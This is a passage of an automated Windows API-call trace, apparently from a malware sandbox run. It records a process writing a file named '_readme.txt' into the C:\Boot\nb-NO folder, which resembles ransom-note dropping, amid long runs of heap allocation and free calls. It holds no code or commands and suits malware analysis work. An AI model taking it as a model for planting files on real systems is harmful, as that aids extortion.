nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.505] CloseHandle (hObject=0x5c4) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.505] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.505] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.505] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.505] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32be710, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.505] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32be710, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.505] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.505] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.508] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.510] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 